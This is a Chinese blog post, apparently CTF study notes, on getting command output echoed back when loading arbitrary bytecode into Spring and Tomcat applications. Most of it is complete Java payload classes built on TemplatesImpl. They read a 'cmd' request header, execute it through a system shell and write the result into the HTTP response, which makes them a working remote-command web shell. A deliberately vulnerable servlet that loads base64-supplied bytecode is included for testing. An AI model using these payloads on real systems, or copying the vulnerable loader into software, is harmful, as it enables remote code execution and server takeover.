本文最后编辑于 前,其中的内容可能需要更新。
任意加载字节码下的回显 spring 之前题目也用到过很多次了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.lang.reflect.Method;import java.util.Scanner;public class springevil extends AbstractTranslet { @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public springevil () throws Exception { Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder" ); Method m = c.getMethod("getRequestAttributes" ); Object o = m.invoke(null ); c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes" ); m = c.getMethod("getResponse" ); Method m1 = c.getMethod("getRequest" ); Object resp = m.invoke(o); Object req = m1.invoke(o); Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse" ).getDeclaredMethod("getWriter" ); Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest" ).getDeclaredMethod("getHeader" ,String.class); getHeader.setAccessible(true ); getWriter.setAccessible(true ); Object writer = getWriter.invoke(resp); String cmd = (String)getHeader.invoke(req, "cmd" ); String[] commands = new String[3 ]; String charsetName = System.getProperty("os.name" ).toLowerCase().contains("window" ) ? "GBK" :"UTF-8" ; if (System.getProperty("os.name" ).toUpperCase().contains("WIN" )) { commands[0 ] = "cmd" ; commands[1 ] = "/c" ; } else { commands[0 ] = "/bin/sh" ; commands[1 ] = "-c" ; } commands[2 ] = cmd; writer.getClass().getDeclaredMethod("println" , String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(),charsetName).useDelimiter("\\A" ).next()); writer.getClass().getDeclaredMethod("flush" ).invoke(writer); writer.getClass().getDeclaredMethod("close" ).invoke(writer); } }
简单看一下,先是从线程里获取类加载器,加载了org.springframework.web.context.request.RequestContextHolder
springMVC中,为了方便随时获取当前的request对象,可以通过RequestContextHolder的静态方法getRequestAttributes()获取Request相关的变量,如request, response等。
知道org.springframework.web.context.request.RequestContextHolder
的作用了,能获取到request和response了之后就很简单了。
tomcat 之前学过tomcat有三种回显方式,基于linux文件描述符,基于ThreadLocal和全局存储的Response三种方式。这里就用第三种。
稍微改一下就能用了
总的就是这样:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.apache.catalina.connector.Connector;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.StandardContext;import org.apache.catalina.core.StandardService;import org.apache.coyote.AbstractProtocol;import org.apache.coyote.RequestInfo;import org.apache.tomcat.util.net.AbstractEndpoint;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.Scanner;public class TomcatEcho extends AbstractTranslet { public TomcatEcho () { org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); try { Field context = Class.forName("org.apache.catalina.core.StandardContext" ).getDeclaredField("context" ); context.setAccessible(true ); ApplicationContext ApplicationContext = (ApplicationContext) context.get(standardContext); Field service = Class.forName("org.apache.catalina.core.ApplicationContext" ).getDeclaredField("service" ); service.setAccessible(true ); StandardService standardService = (StandardService) service.get(ApplicationContext); Field connectors = Class.forName("org.apache.catalina.core.StandardService" ).getDeclaredField("connectors" ); connectors.setAccessible(true ); Connector[] connector = (Connector[]) connectors.get(standardService); Field protocolHandler = Class.forName("org.apache.catalina.connector.Connector" ).getDeclaredField("protocolHandler" ); protocolHandler.setAccessible(true ); AbstractProtocol abstractProtocol = (AbstractProtocol) protocolHandler.get(connector[0 ]); Field handler = Class.forName("org.apache.coyote.AbstractProtocol" ).getDeclaredField("handler" ); handler.setAccessible(true ); AbstractEndpoint.Handler AChandler = (AbstractEndpoint.Handler) handler.get(abstractProtocol); Field global = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler" ).getDeclaredField("global" ); global.setAccessible(true ); org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) global.get(AChandler); Field processors = Class.forName("org.apache.coyote.RequestGroupInfo" ).getDeclaredField("processors" ); processors.setAccessible(true ); java.util.List<RequestInfo> RequestInfo_list = (java.util.List<RequestInfo>) processors.get(requestGroupInfo); Field req = Class.forName("org.apache.coyote.RequestInfo" ).getDeclaredField("req" ); req.setAccessible(true ); for (RequestInfo requestInfo : RequestInfo_list) { org.apache.coyote.Request request1 = (org.apache.coyote.Request) req.get(requestInfo); org.apache.catalina.connector.Request request2 = (org.apache.catalina.connector.Request) request1.getNote(1 ); org.apache.catalina.connector.Response response2 = request2.getResponse(); Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.connector.Request" ).getDeclaredMethod("getHeader" ,String.class); String cmd = (String)getHeader.invoke(request2, "cmd" ); String[] commands = new String[3 ]; String charsetName = System.getProperty("os.name" ).toLowerCase().contains("window" ) ? "GBK" :"UTF-8" ; if (System.getProperty("os.name" ).toUpperCase().contains("WIN" )) { commands[0 ] = "cmd" ; commands[1 ] = "/c" ; } else { commands[0 ] = "/bin/sh" ; commands[1 ] = "-c" ; } commands[2 ] = cmd; response2.getWriter().write(new Scanner(Runtime.getRuntime().exec(commands).getInputStream(),charsetName).useDelimiter("\\A" ).next()); } } catch (Exception e) { e.printStackTrace(); } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
可以写一段测试一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 package Servlet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import javax.xml.transform.TransformerConfigurationException;import java.io.IOException;import java.lang.reflect.Field;import java.util.Base64;@WebServlet(name = "EchoServlet", urlPatterns = {"/Test"}) public class EchoTest extends HttpServlet { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj,value); } protected void doPost (HttpServletRequest req, HttpServletResponse resp) { String text = req.getParameter("base64" ); byte [] code = Base64.getDecoder().decode(text); TemplatesImpl obj = new TemplatesImpl(); try { setFieldValue(obj, "_bytecodes" , new byte [][] {code}); } catch (Exception e) { e.printStackTrace(); } try { setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); } catch (Exception e) { e.printStackTrace(); } try { setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl()); } catch (Exception e) { e.printStackTrace(); } try { obj.newTransformer(); } catch (TransformerConfigurationException e) { e.printStackTrace(); } } }
效果
其他 还有一个是虎符CTF ezchain的一个原生环境下的回显,这里不记了